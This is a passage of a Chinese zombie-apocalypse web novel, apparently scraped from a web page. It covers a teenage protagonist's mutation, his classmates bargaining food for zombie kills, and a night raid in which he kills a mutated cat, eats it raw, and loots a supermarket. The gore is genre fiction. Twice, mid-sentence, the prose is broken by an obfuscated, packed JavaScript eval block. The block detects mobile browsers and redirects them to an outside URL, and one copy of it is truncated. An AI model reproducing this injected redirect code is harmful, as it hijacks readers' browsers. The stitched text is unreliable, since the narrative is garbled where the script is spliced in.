“爸爸,妈妈,早上好。”乌珩不知道要怎么说明现在的情况,他顿了一下,低声说:“末日降临了。” 乌世明愣了一下,随即仰天大笑,曾丽珂也跟着笑了起来。 乌珩神色默然地看着夫妻俩。 乌芷不知道什么时候跑出来了,她抱着布娃娃一脸仓惶,“爸爸妈妈,我看见隔壁家的李叔叔在吃楼上的小梦阿姨!” 她房间位置好,坐北朝南,还有整面落地窗,又是二楼,很接近地面,能看见的场景肯定要比家里其他人全面得多。 “小芷你在说什么呀?是不是做噩梦了?”看着小女儿煞白的脸,曾丽珂满脸心疼地走过去。 乌珩则无视她们的母子情深,转身再度看向窗外,天又大亮,初阳和煦,地面上却如同炼狱,满目疮痍。 目之所及已经没有活人,之前的混乱开始得突然,结束得也迅速。 零散的残肢毛发遍地,眼睛灰白的丧尸散落在各处,他们四处嗅闻,唇齿无意识地开合,身上沾满污血。 一个手上还挎着一只菜篮子的老年丧尸从乌珩眼前的窗户底下路过,头顶几片枯叶飘落,一眨眼的功夫,老年丧尸身体就被齐刷刷飞刺而来的树枝捅穿,将老年丧尸吸食得只剩下一层皮与几根骨头之后,树枝缩了回去,一派岁月静好的模样。 那是他们这栋楼旁边的一棵西府海棠树,因为雨水过多烂了根,物业小心呵护也只是让它没死,却再未开花。 今天却不一样,它枝头不仅绿叶葱茏,还挂满了娇嫩花苞。 如果乌珩没有亲眼看见它吃掉从树底下路过的丧尸,他大概会对眼前此景产生欣赏之情。 乌世明和曾丽珂经过乌芷提醒后,早已站在了乌珩身旁,他们没有错过刚刚那一幕。 曾丽珂脸上血色尽失,她看着外面走来走去的丧尸,“这是怎么回事啊?!这是妖怪?” “物业没有报警吗?”乌世明大步去拿手机,拨打电话,结果不管是给物业打还是报警,都告知他全部占线。 客厅里陷入一片死寂。 曾丽珂在窗边站了一会儿,眼睁睁看着对面楼栋里一个中年男人举着一把菜刀走出来,那一群吃人的东西闻到活人气息,蜂拥扑去,男人挥着刀一顿乱砍,但这些东西却好像没有痛觉似的,男人逃跑不及,被扑倒在地,没有一会儿,惨叫声响彻小区,一群丧尸围着他开始享用大餐。 曾丽珂双腿发软,她坐到沙发上,捂着脸,“这到底是怎么回事啊?昨天晚上不是还好好的吗?” 乌世明一根接一根地抽烟,“这肯定不是小范围情况,估计各地都出现了一样的现象,所以警察根本顾不过来。” 曾丽珂点了点头,“那现在怎么办?” “现在只能等待救援,”乌世明尽管腿都在发抖,声音却依然冷静,“乌珩还说末日,哪来的什么末日,这些玩意儿遇到热武器,眨眼就收拾干净了。” 乌芷抱着布娃娃,看向窗边沉默不语的乌珩,哥哥明显不认为爸爸说的是对的,那她也不会认可。 “那么在救援没有来之前,我们暂时都不要出门了。”乌世明说道。 “不出门?!那吃的喝的从哪儿来?”曾丽珂震惊道。 乌世明一言不发,打开了电视,上面正好播放着实时新闻。 女主播表情严肃,语速适中,“……各地临床医学药学专家以及动植物学等专家纷纷已由专人护送前往京市,研究对应治疗手段以及防护策略,目前已能确定该病毒依靠体/液传播,一旦被病人咬伤,感染率以及死亡率皆为百分之一百,所以请广大市民谨慎出门,做好防护。” “网友称被感染的病人为丧尸,遇到丧尸,只需重击它 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“乌珩?你怎么还跟他通上话了。”薛慎趴在阳台上,看着楼下的景象揪心,那些丧尸里面,有日日见面的保安和老师。 谢崇宜偏头看着薛慎,目光写着不赞同,“他挺有意思的。” 薛慎只知道乌珩跟自己一个班,可他连对方长什么样都没印象,所以他对乌珩一点都不感兴趣,现在也没心思分给无关紧要的人,他问道:“接下来怎么办?” “走一步看一步吧。”谢崇宜脸上一点紧张神色都没有,他依旧跟日子太平时没什么两样,淡定到让人感到冷漠。 “那……那个,我想回家。”教室里有个背着小包的女生站起来小声说,“我本来以为网上说的那些都是骗人的,可现在一切都印证了,我想回家,我想跟我爸妈在一起。” “我也是。” “我也是。” “我好担心他们。” 教室里总共有二十多个人,除了谢崇宜和薛慎,其他人都是为了冲刺高考最后的阶段,日日四五点就到了教室复习,今天他们也跟平时一样,可世界却跟平时不一样了。 “班长,我们可以回家吗?” 他们从后面看着谢崇宜。 谢崇宜是他们的班长,性格淡漠疏离,平时颇有点儿尔等凡人皆退散的高贵冷艳,可实际,他的高贵是桀骜不羁,冷艳是棘手刺头。作为班长,他管理班级也从不靠温柔与周到,全靠威逼利诱的非人手段。 “想回就回啊,问我干什么?”谢崇宜形状漂亮修长的手指往半空中抛着钢笔,又接住。 他漫不经心的语气显得完全没把这场“意外”当回事儿,让后面好些同学都大松了一口气,看来没什么要紧。 薛慎靠着阳台,抱着手臂,目光冰冷地看着开始收拾书本准备离开的人,“你们想好了,现在外面满大街都是吃人的丧尸,你们还有可能遇到变异的动植物,而且现在一切都才刚刚开始,没有人清楚它们究竟畸变到了什么程度,你们贸然冲到室外,是想找死?” 薛慎的话还是很有说服力,要走的人中,有一半人动作停了下来。 “那我们不可能一直不回家啊,我妈会担心我的!她刚刚给我打电话,一直在哭。”一个女生着急道。 “我不能放着我爸妈不管,反正我得回去。”又一个男生手脚麻利地装了书,直接就往外走,很坚决的样子。 他一走,后面三四个人面面相觑,赶忙也忙跟了上去。 “薛慎?”谢崇宜听见他们离开的脚步声,回头叮嘱好友,“你跟他们一起下去,免得他们忘记关门。” 14.第14章 学校里的光线已经许久没有如此明亮温暖,可在今天,在这样舒适的日光下却没有人感受到半丝暖意。 走廊里,只有一群人小心胆怯的脚步声,他们不时回头张望,满脸都是惊惶,害怕从哪个教室里就扑出来一个咬人的怪物。 “喂,你们去哪儿?!” 有学生在的不止他们教室,众人此时此刻都想回家,可却都不敢,现在有关丧失和变异的新闻在网上铺天盖地,爆发这类传染病的不止他们汉州,而是全国各地乃至全世界,无一幸免,全面沦陷。 “回家啊,总不能一直待在学校里吧,我就是死也要跟我妈死一个屋里。”女生说着,差点就哭出了声。 “可外面都是那些东西,不安全。”尽管嘴上这样说,男生的心里和表情却开始维持不住平静了。 “我们班长说,只要打烂它们的脑子,它们就会丧失行动能力。” “那我们也走,我们一块走!”教室里的男生说着,将书包往肩上一抡,不止他,这个班总共不到十个人,走了只剩两个。 众人坚信人多力量大,一路上都有人加入回家的队伍,到一楼时,已经有二十多个人。 门外的丧尸行来走去,还没有察觉。 薛慎走上前,“确定要现在走?要走我就开门了。” 玻璃门内还有一层折叠门,为了防止意外发生,薛慎之前还用铁丝将门锁的部位加固拧死,他作势要拧开铁丝,有人大喊了一声等等。 门外,一只丧尸听见了声音,闻声踏上台阶,嗅闻着寻找声音的来源。 大喊等等男生明显是害怕了,可是他又实在是想回家,纠结半天后,他握紧了拳头,“开门吧,我没事了。” 薛慎拧开铁丝,将折叠门拉向一旁,又抽开了玻璃门的锁,之后他朝旁边退了半步,事不关己道:“想走的自己推门走。” 一个女生咬了咬牙,扛着铁锨,最先走出去。 “啊!”她尖叫着,一铁锨敲开了门口晃荡的丧尸的头盖骨,污血溅了她一脸,她热泪滚下,因为她早上来学校的时候,这个丧尸还是笑着跟她说话的保安大叔。 看见她如此顺利,后面的人纷纷加入。 四面八方的丧尸都朝此处涌来。 薛慎面无表情地关上两层门,但他却没立即离开。 此时,三楼的窗台上,谢崇宜朝远处掷出一罐汽水,易拉罐落地爆开,声音吸引了不少丧尸扑过去。 但人为制造的动静只是暂时的,也很快被丧尸识破。 一群人刚跑到校门口,那些丧尸就朝他们追了上去,腿脚快的拔腿就跑,慢的被扑倒在地,丧尸低头便从喊着救命的学生身上撕咬下来一大块肉,侥幸没有被注意到的两个人连书包都不要了,屁滚尿流地往回跑。 他们哐一声扑在门上,大喊着,“开门!快开门!” 薛慎将门打开,迅速关上,头也不回地往楼上走了。 校园里很快就恢复了半个小时前的平静,丧尸里又多了个好些个穿着校服的成员。 谢崇宜的左右趴着班里没敢走的几个人,他们一起亲眼目睹了刚刚还在跟自己说话的同学转眼就变成了一身烂肉的丧尸,脸色如几张白纸,眼中尽是恐惧,还有没有跟着一起走的庆幸。 有女生捂着嘴,小声地哭泣了起来。 “小泉还说要跟我一起去看五月天的演唱会的。” 薛慎走进教室,身后一男一女互相搀扶着跟在他的后面,满面惧色。 “老谢,就6个走掉了。”薛慎揉揉鼻子,声音听起来也有点沙哑。 谢崇宜探着身,垂眼看着楼下,他晃了晃小腿,“门关好了吗?” “关好了。”薛慎说。 谢崇宜点了点头,过了几秒钟,他掌心撑在窗台,轻松一跃,落在了教室地面。 他依旧倚靠着窗台,懒洋洋的姿态一定程度上缓解了众人的紧张,也掩盖了他锋利张扬的眉眼。 “听好了,我只说一遍,”谢崇宜掀唇道,“你们要走要留不必跟我打报告,但走的时候,记得关好门,别让那些东西钻进来,不然我肯定会追杀你们的。”他说着笑了起来,露出洁白整齐的牙齿。 他接着往下说:“我跟薛慎提前买了食物和日用品在一楼的101到106,应该能支撑我们一段时间……” “那我们现在要做的就是等待救援吗?”有人迫不及待地问道。 “在心里等就行了,你们现在最要紧的事情是食物。” “什么意思?你不是提前准备了吗?”一个刚刚从外面退回来的黄毛男生站出来,疑惑道。 “天下没有免费的午餐。”谢崇宜坐上窗台,双手撑在身侧,语气冷淡。 “班长?!” “现在这个时候,你怎么能这么做?我们现在应该团结起来,互帮互助,等待救援!” “就是啊。” “互帮互助?”薛慎冷笑,“你们能帮我们什么?” “可是,我们是同学啊。” 谢崇宜听着,觉得这句话莫名的耳熟,他不久前好像刚听乌珩也这样说过,可乌珩说这句话时的语气和态度却要中听得多。 他摇头,表情里有一丝执拗,“可我不想无条件帮助你们。” 众人周身冰凉,黄毛忍着怒气,“你的条件是什么?” 谢崇宜竖起食指,慢条斯理,“杀死一只丧尸,可以在薛慎那里换取一百克食物。” “什么?” “你开玩笑吧?我们怎么去杀丧尸?我宁愿饿着!” “班长……” 谢崇宜却没有耐心了,他从校服口袋里掏出七八颗颜色发灰的石块,“别想着蒙混过关,每一只丧尸的脑子里都有一颗这样的矿物,你们把它带回来,交给薛慎。” 看着男生手里那一把棱形体石块,教室里的人胆战心惊,班长这是早就开始杀人了吗? - 乌珩跟林梦之沉默地坐在后者家的沙发上,林奶奶在不远处拜菩萨。 “梦之,我饿了,给我弄点吃的吧。”乌珩打破沉默,说道。 林梦之瞪着眼睛,"哥们儿,你一个小时刚吃了半头猪你忘了吗?" “我给你数数啊,你早上吃完早餐下来加餐,一盆肉末鸡蛋面片汤,那一盆没有五十斤也有三十斤,没过半个小时,冰箱里剩的两百多个冷冻水饺你全吃了,然后就是半头猪,”林梦之光是细数都觉得无法接受,“按照你这个吃法,我们的物资撑不到半个月。” 乌珩眼睛已经有些隐隐泛红,“那我吃你。” 林梦之摔下沙发,飞也似地跑进厨房。 结果,他一拧水龙头,里面没有水。 “停水了?” "电也停了?" “把剩下的半头猪也给你煮了算了,反正你现在不挑,什么都吃。” 乌珩的第五顿饭后,他与林梦之趴在阳台那扇提前做的小窗后面察看着室外的情况。 日光鼎盛,小区一片死寂,只有丧尸拖沓的脚步声偶尔响起。 几个小时过去,地面上的鲜血已经干涸凝固,没有人敢再踏足室外。 此刻,想必所有人都像他们一样只敢躲在家里观察外面的情况,再祈祷会有人来解救他们。 林梦之屏息,低声道:“两个小时之前的气温是32,现在还是,估计不会再升了,就是正常初夏的天气。” “水电一停,外界消息等于直接断了,阿珩,我感觉不太妙。” 乌珩瞳孔漆黑,“你现在才感觉不太妙?” “……” “我们晚上出去转转。”乌珩看着窗外,说道。 “?”林梦之差点叫出了声,“转转???” 乌珩垂着眼,细长的睫毛下,眼神看起来没有半点儿脾气。 “我们现在在家里,不清楚外面情况。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乌珩没有再理睬林梦之,他走回客厅,把横躺在沙发上睡觉的X抓了起来。 “你出去飞两圈,我要看外面是什么情况。” X还没醒过神,扑腾着翅膀,被乌珩从小窗里塞了出去。 它含着胸小心地在地上漫步,眼观四方。 一跟树枝破空刺来,X在地上打了个滚,翻身起飞,又有无数枝条刺向它,像是追杀。 “妈呀!”X喊叫着,吸引了不少丧尸的注目,它们跳起来试图够它下来。 林梦之看得揪心。 乌珩却冷静,目光若寒潭,“海棠树有攻击范围限制,其他变异植物应该也是一样,它们刚异化,成长还需要时间。” “最弱的是灌木,最强的是狐尾天门冬。” X逐渐游刃有余,它飞出了乌珩和林梦之的视野,隔了十几分钟,它才出现,原路返回时,它身体一斜,躲过海棠树攻击,一溜就溜进了小窗里,把脑袋往乌珩怀里一钻。 “吓到了。”乌珩手指抚摸着鹦鹉的翅膀,鸟羽摸起来好像比昨天硬了不少。 X在这时候突然抬头,“傻逼。” 林梦之看着乌珩,“这次骂的肯定不是我。” 乌珩把X放到茶几上,给它倒了水,X一口气喝了小半碗才停下来。 “你刚刚去了小区外面?” “嘎!” “外面已经没有活人了?” “嘎!” “丧尸和变异植物四处都是?” “嘎!” 乌珩垂眼注视着X,其实不是X能听懂他说话,而是他大概能看出来X想要自己问些什么。 他想了想,低声问:“外面不止有丧尸和变异植物,还有一些更可怕的东西?” 林梦之不可置信地看向乌珩。 X叫了一声,代表乌珩又猜对了。 15.第15章 林梦之忙追问:“什么更可怕的东西?” X转着眼睛,它会说的字太少了,只能跟林梦之干瞪眼。 乌珩无言,提醒林梦之,“问它一般疑问句。” “我又不知道外面有什么,我不知道怎么问。”林梦之抠着脑袋,“我们晚上一定要出去吗?” “你可以不去。” “那我还是去吧。”林梦之说完之后就去卧室翻箱倒柜给自己上装备。 乌珩没有动作,他弯着腰端详着X,X一动不动地立在茶几上让他看。 仅几天时间,乌珩瘦了一圈,却没有因此变得气质羸弱。 他只是变得像某种植株刚抽出的嫩芽那般纤柔,不加修饰的秀美的脸上,不仅没有任何的攻击性,还飘曳着与人类此时状况完全不相符的盈盈朝气。 少年并不畏惧,他此前也不畏惧,但那时候的不畏惧是一种无谓生死的自决,与现在不同,现在他的身体里,充盈着一种奔赴新世界的蠢蠢欲动。 乌珩知道自己一定是变异了,不是谢崇宜所说的被上帝赋予特殊能力,而是他很有可能已经不是人了。 日光将歇,他回到家中,客厅里的乌世明和曾丽珂吓了一大跳,曾丽珂捂着胸口,“怎么突然回来了?是走的小门吧?” 小门就是他们两家自己掏钱建的楼道,那时候林梦之爸妈还没出事,两家走得很近。 “嗯。”乌珩换了鞋。 回房间时,他路过两人,曾丽珂跟乌世明对视一眼后,一把抓住他的手腕。 乌珩不解地看着曾丽珂。 “那个,乌珩啊,妈妈跟你说个事儿,”曾丽珂难以启齿般,支支吾吾半天,才说,“我上午跟你爸爸把家里能吃的东西都找了出来,顶多够我们一家吃半个月,现在这情况还不知道什么时候是个头,水电都停了,派出所电话消防电话都占线,后面估计还有一段日子要熬,你跟林梦之不是关系好吗?我跟你爸爸商量了一下,看你能不能跟他还有他奶奶说一声,让你以后就在他们家吃用,等外面恢复正常了,我们双倍还给他们家。” 少年低头不语。 曾丽珂有些着急了,“我们家四个人,他们家只有两个,把你分过去,正好一家三个,那样大家都不用挨饿!” 乌世明终于开口说话,“乌珩,就听你妈妈的,我们家这几年也帮了他们家不少,现在我们有困难,于情于理他们也应该帮扶帮扶我们。” “他们家,”乌珩顿了一下,“也没多少吃的。” “那我们家就有了?”曾丽珂拔高音调。 乌珩视线在两人脸上一一扫了两遍,很快,他低眸,“晚上我去找梦之说,他应该会答应。” 听见他这样说,乌世明和曾丽珂脸上才展露笑颜,曾丽珂还拍了拍他手背说:“不愧是我的好儿子。” 乌珩背身回卧室,嘴角略带嘲讽地扯了一下。 回到房间里,乌珩拉开被子想休息一会儿,给晚上出门养精蓄锐,但被子一掀开,里面安安静静躺着十几包小浣熊干脆面。 他不用想也知道是乌芷拿来的,只是他现在不饿,也并不会感激对方,他将干脆面收进衣柜,衣服都没脱,在床上躺了下来。 少年睡着的时间里,外面的世界正发生着天翻地覆的变化。 水电全停的城市里一片寂静,人声消失得一干二净。部分末日前本就葱茏的行道树变得物理意义上的参天,散开的枝叶足能盖住一栋二十几层楼高的楼宇。而地面上的植物逐渐占据了柏油路路面、人行道,甚至爬上房屋。 在人类躲藏起来的时候,除了植物,还有一些平时少见的动物跑了出来,红眼壁虎藏在一层又一层的爬山虎里面窥视着外面,流浪猫的利爪直接挖开丧尸的胸膛,动物的嘶鸣声和丧尸的嘶吼声在城市的各个角落接连响起,没有人敢迈出家门一步。 人类作为地球领主的时代,仿佛在今天迎来了正式的结束。 地球仍是原来的地球,它保持原速,四平八稳,它对星球上的生灵并无任何责任和义务。 - 繁星漫空,晚风徐徐,只看头顶,这是一个宁静而又美好的夜晚。 但低下头,却满目疮痍。 乌珩穿上一件不易被抓破抓透的皮夹克,背上背了一只干瘪的帆布包,他戴着夜视镜和鸭舌帽,露出来的下半张脸没什么表情,浑身散发着无欲无求的气息。 林梦之和他差不多的装束,气色却差上三倍不止,“老子真是害怕啊。” X蹲在他的头上,扇了两下翅膀,算是附和。 乌珩蹲下系鞋带,语气平静,“我们不走太远,就在附近活动,路过商店,如果看见有用得上的东西就带回来。” 林梦之眼睛一亮,“现在的物资不要钱了!” 两人一鸟整装待发,林奶奶却在此时用拐棍敲打了茶几,不让他们出去。 “别以为眼瞎心也瞎了,你们兄弟俩说的话我都听见了,外面都是吃人的怪物是不是?你们前两天不停往家里搬东西就是为了这?” “我不许你们出门,要是出了事……”老人看不见,只把情况往坏了想。 乌珩毫不犹豫,“梦之你留下,X跟我走。” X立刻从林梦之的头上飞到乌珩的肩膀上。 “不行,阿珩你也不许出去。” 林梦之站在中间,哎呀道:“老东西,我们不出去你喝西北风啊?而且现在情况还没那么糟,正好可以让我跟阿珩锻炼锻炼,万一以后有什么意外,我们还有能力应付。” “你就在家待着,你别出去就行了。” 乌珩却摘下帽子,他大步走到老人面前,“奶奶,我们对个暗号。” “对几把对!”林奶奶没好气道。 乌珩片刻不语后,“那就对几把对。” “……” 林梦之无声大笑,憋得满脸通红。 “不管是谁敲门,您都不要开门,哪怕是乌世明和曾丽珂,哪怕是我,除非他能说出暗号,”乌珩抿抿唇,“对几把对。” 林奶奶傲娇地哼了一声,坐在沙发上不语。 随着关门声响起,她才乍然回头,脸上担忧满溢。 小区的夜晚已经跟平时大相径庭,空气中弥漫着一股淡淡的腐肉味,拖拖沓沓的脚步声多半是游荡在附近的丧尸发出,白日看着只是旺盛的植物,到了夜晚罩下来如同幽暗鬼影,排山倒海似的竖在小径两边。 只是一日时间,一切都变了。 林梦之走在乌珩身后,时不时就能在地上看见一块已经烂掉的肉,或者一只还穿着鞋子的断腿,他不仅害怕,还悲痛。 两人走得蹑手蹑脚,不敢发出半点大的声响。 路线是X巡逻后乌珩提前计划好的,危险不能全部避免,只能尽量减少。 走出小径到第一个分岔路口,一个背影正蹲在岔路口,看肩宽肩厚多半是个男人,对方肩膀不停地耸动,像是正在吃着什么东西。 乌珩伸手拦住林梦之,悄无声息拔出绑在腿上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868890|159059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短刀,他握着刀柄,刀刃朝下,刀刃在月光下闪着寒光。 少年故意朝对方踢了一颗石子,那身影一顿,迟缓地转身。 看清对面的形容,林梦之控制不住地牙齿打架。 男人的半边脸已经不知道去哪儿了,衣服上糊满了黑红色的脏污,他双手还捧着滴着血的肺脏。看见活人,他喉咙里发出低吼声,蹒跚地向他们走来。 林梦之还在调整对战姿势,身旁的少年已经迈着无声的步伐也朝丧尸走去。 浑身散发着腐臭的丧尸丢下肺脏,伸出双手。 乌珩抬手,刀刃自丧尸头顶向下全部没入。 丧尸□□脆利落地解决,身体摇晃,朝后倒去,乌珩扶住他的后背,轻放在地面上,半点声音都没有发出。 从发现丧尸到解决丧尸,一分钟的时间都不到,没有制造出一点动静,毫不拖泥带水。 而完成这一系列动作的少年,脸上没有惊惶也没有得意,稀松平常得仿佛顺手丢开了一个垃圾。 林梦之心脏猛跳,他不止佩服,还有震惊。 因为他认识的乌珩,小时候阳光,长大后老实巴交,尽管他知道乌珩不管性格变成什么样,内在永远是很坚定有主意的一个人。 “怎么了?”看见发小呆愣在原地,乌珩用口型问。 林梦之走过去,“觉得你跟以前有点不一样了。” 乌珩怔了一下,随即扬唇一笑,“我一直都是这样的。” X贴着林梦之的耳朵,找了半天的位置,才对准了,在它说出那两个字之前,林梦之将它一巴掌打开了。 “我知道你一直都是这样,但以前你也没有杀过人啊。”林梦之追上乌珩,压低声音道。 乌珩耷拉着眼皮,看着前方的路,“你杀过?” “那倒也没有……” 两人的身后,几条柔软纤长的青藤从乌珩月光下的影子里挤出,朝那只瘫在地上的丧尸爬去,梢端噗呲一声刺进丧尸大脑,其他几根也跟着刺进去,黑夜里,咕咚咕咚的声音响了好一阵才消声。 X蹲在林梦之的头顶,它四处查看时,看见如游蛇般的青藤,吓得怪叫。 注意到它的目光,乌珩和林梦之一起回头,但身后什么也没有。 但乌珩却突然蹙眉,他抬手按在胃的位置。 林梦之注意到,“怎么了?” “不知道为什么,突然觉得有点恶心。” “恶心?”林梦之很快就给出了答案,“吃多了。” 青藤在这时候已经钻回了乌珩体内,消失得无影无踪,X气得振了几下翅膀,猛踩林梦之头顶。 林梦之刚想抬手挥开对方,他手背突觉一道剧痛,伴随着几片鸟羽掉落,林梦之举着刀一顿乱挥。 乌珩回头时,花坛上那只红着眼睛流着涎水的流浪猫正气势飞扑向林梦之。 少年抬起一脚踹着猫的腰腹,猫身体翻滚两圈后四足稳稳抓地。 流浪猫的体积还是正常大小,可两边牙齿已经长到了嘴外,浑身毛发坚硬竖立,露出捕猎者的凶狠眼神。 它又弓起了背,双眼直勾勾地看着面前两只新鲜的猎物,强壮有力的四肢抓挠着地面,将水泥地挠出了一道道抓痕。 林梦之的双腿僵硬,他从没见过这么凶的猫,“这是畸变的丧尸猫?” “变异猫。” “你怎么区分的啊?”林梦之就差哭出来了。 “这个能吃。”乌珩眼神逐渐变得明亮,笃定回答道。 16.第16章 变异猫的毛发如钢针在月光下闪着光点,嗜血的眼神完全没有了以前蹭着路人裤脚要火腿肠吃的呆萌,它一瞬不瞬地盯着眼前两人,弓起脊背,时刻准备发起攻击。 X在这时候离开了林梦之头顶,逃去了安全区域。 鸟羽振动的瞬间,变异猫瞳孔一缩,朝林梦之奔去。 它速度快如闪电,带着腾腾杀意,乌珩一步跨至林梦之身前,身体的速度快过他的思考速度,反应过来时,变异猫已经被他掐着摔在了地上。 变异猫体型不大,叫声却凄厉响亮,它朝乌珩发出怒吼,利爪如刀尖。 乌珩只犹豫了两秒钟不到,手里的短刀转了半圈,穿透了变异猫的头颅。 变异猫身体抽搐了两下,闭上了眼睛。 林梦之脸上被溅了几滴温热的血液,他闭上眼睛,小心脏抖成了筛子,他回想着刚刚乌珩的手起刀落,好快,好狠。 如果不是乌珩,按照刚刚这只猫的凶狠程度以及移动速度,他应该已经成为了对方的一根人形火腿肠。 “咔嚓”“咔嚓”。 耳畔传来清脆的咀嚼声,林梦之眼皮颤了一下,他睁开眼睛,低下头。 乌珩蹲在地上,还是之前截杀变异猫的姿势,只是姿态放松了许多。 少年耳际到下颌那片皮肤白皙润泽得仿若一块质感上乘的羊脂玉,咀嚼声正是从他耳际下面的腮帮子内发出。 他修长的五指握着一只带毛的变异猫猫腿,前段肉最多的大腿部分已经全部入了他的口。他齿关碾磨生骨轻而易举,吃得干净利索,仅有唇面被新鲜的热血染红,可鲜血的红色却比不上他此刻露出的红瞳的万分之一渗人。 月光下,林梦之差点把乌珩看成了刚刚的变异猫。 “阿珩?”林梦之吞咽着唾沫,觉得自己要晕过去了。 “嗯?”乌珩余光瞥了林梦之一眼,进食被打断,他这一眼像嗔怪似的。 林梦之心底百转千回,挤出了一句,“要不还是吃熟的吧,生的可能会有寄生虫,这还是变异了的猫。” 虽然嘴里这么说,但他心里清楚得很,现在的乌珩别说是吃生肉,哪怕是空口吃寄生虫,问题也不大。 乌珩含糊不清地“嗯”了一声,他垂目,在变异猫坚硬扎手的皮毛上擦了擦手指,“已经吃完了。” "吃……吃完了?吃完了那就走吧。"林梦之赶忙道。 “你手没事儿吧?”乌珩问道。 林梦之抬手看了眼手背,伤口有点深,但已经止血了,周围肤色也正常,他甩了甩,说:“变异猫应该没有携带丧尸病毒,问题不大。” 他们走后,本来在他们头顶盘旋的灰鹦鹉降落到变异猫那堆残骸旁,它抬起爪子扒了扒,低头衔了几口碎肉进肚子里。 安全通过小径,抵达小区中心的喷泉,水停了一天,但喷泉里还有一池水,原本清澈见底的池水已然变得浑浊,里面躺着半具已经看不出人貌的尸体。 喷泉下方的台阶,几只丧尸聚集在哪里,乌珩眯眼看下去,发现它们围着的是一只体型健壮如小牛的狗,狗已经死了,被开膛剖腹,丧尸正在享用它。 乌珩迈步往下走,“梦之,我们把这几个丧尸解决了。” 林梦之在心里惨叫。 丧尸吃得正上头,乌珩无声息地就站在了其中一个的身后,刀刃一秒就穿透了它的头颅,刀尖从额心冒出。 林梦之的眼睛半睁半闭,对着旁边的丧尸脑袋猛戳,戳完了马上换下一个。 解决了这几只丧尸之后,乌珩弯腰捏着狗的嘴筒子看了看,“难怪……” “难怪什么?”林梦之差点以为乌珩是要吃丧尸的剩饭,那也太不挑了。 “难怪这只狗看起来会这么……”乌珩本来想说好吃,但考虑到林梦之已经濒临崩溃的心理状态,他说,“这么大。” “是好大!”要不是乌珩点出来,林梦之都没注意到这条狗的身躯比平时见的狗要大太多。 城市当中常见的大体型狗也就阿拉斯加,此狗却堪比阿拉斯加,还是油光水滑的短毛,四肢结实强壮。如果它攻击的不是丧尸,而是路人,估计早就开饭了,显然,变异狗还不知道杀死丧尸的方式。 “诶?”林梦之观察变异狗的过程中,突然看见了突兀的东西,他强忍恶心,用刀把这东西扒了出来,“这是什么?” 它挂带着一截狗的内脏出来,林梦之捂着嘴,到一边无声干呕。 乌珩弯腰一把抓起,几大步跑上台阶,踩上喷泉水池的边缘,把它放进池子在水里淘了两下。 洗净后,乌珩看清它的真容,四五厘米左右的长度,宽估计顶多两厘米,棱形,是完全透明的状态。 乌珩慢慢眯起眼睛,他将水晶放进背包内的夹层,跑了回去,用刀在几只丧尸里分别都找了一遍,每一只丧尸脑子里都有相同的一块东西,只不过跟变异狗身体里的不一样,丧尸脑子里的是灰色,像碳块。 林梦之在旁边看着乌珩把几只丧尸脑子掏得乱七八糟的这一幕,只能不停地掐人中,他以为乌珩是在找吃的。 全都掏出来洗干净后,林梦之这才反应过来,“哦!这是能量核!变异生物的体内应该都会有!跟电影里一样!” 乌珩不解,“前两天我在批发市场的老板脑子里也找过,没找到。” 林梦之:“我认为是前两天的丧尸还没发育好,能量核自然也就还没有形成,但这有什么用?” "对普通人没用。"乌珩低声道,但还是把它们都收了起来。 “你还是普通人?”林梦之可不信。 “谢崇宜说有些人会得到特殊能力,那应该是异能吧,能量核对他们可能有用,我没有特殊能力,对我自然没用处。” 林梦之甩着刀,嘁了声,“那又怎样?我们只要能活下去就行。” 两人一前一后走出小区,他们这一片都是住宅区,此刻家家户户闭门无灯,四通八达的大路倍显荒凉空旷,而路边的绿化带却正在疯狂扩展领土。 “小心点。”乌珩压着声音,“我们去超市。” 林梦之猫着腰,“老郑会不会追杀我们!” “到时候再说。” 超市大门上着锁,早上那会儿,老郑估计还在睡觉。 乌珩作势要用刀撬锁,林梦之一把把他拉开,“我来撬,万一之后恢复正常了,入室偷窃这种事情也不至于影响你的前途。” 刀的锋利程度超过两人的相像,刀尖一别,锁便应声落地。 “我草贵有贵的道理,难怪我说戳丧尸脑壳怎么跟戳泥巴一样。”林梦之轻轻推开超市的门,里面和平时一样。 乌珩在后面走进去,他掩上门。 “你去食品区,我去日用品区。” 乌珩目不斜视穿过琳琅满目的零食区,径直走进了日用品区,他拉开书包包链丢到地上,丢进去两支手电筒后,将洗漱用品横扫一大片进包里,之前虽然有提前准备,但看目前的情况还远远不够。 书包装不了多少东西,很快就塞不下了。 蹲下拉包链时,乌珩目光扫到了隔壁货架上大包小包挤得严丝合缝的卫生巾,他夜视镜底下的睫毛掩下来,尽管这里除了他再没有别的人,他也习惯性地掩饰自己,不让任何人看清他的所思所想。 哗啦一声,乌珩把包里的东西都倒了出来,只捡起两支手电扔了回去。 他对卫生巾不了解,不想用有限的空间带回去没用的东西,站在货架前一包一包研究了起来。 林梦之弯着腰小偷范十足地摸来日用品区,“我装完了,家里没什么肉,我装的都是肉,看,我还捞了几条大草鱼。” 男生不仅把书包装满了,拉链都被撑得只能敞着,两只手还一边拎一个超市的特大号塑料袋,里边的活鱼还在甩尾巴。 “不是变异鱼?”乌珩问了句。 “应该不是,没咬我,一捞就捞上来了。” “变异的好吃。”乌珩刚刚吃了那只变异猫,发现不管是饱腹感还是口感,都比普通的食物要好上数倍。 “……我他妈上哪儿给你弄变异的?”林梦之满头大汗,说完之后才注意到乌珩像平日一样悠闲在挑挑拣拣,还是在对着卫生巾挑挑拣拣,“你拿这玩意儿……你用我用?” “乌芷用。”乌珩把日用的放了回去。 林梦之恍然大悟,“女生来例假在这时候确实是个问题。” 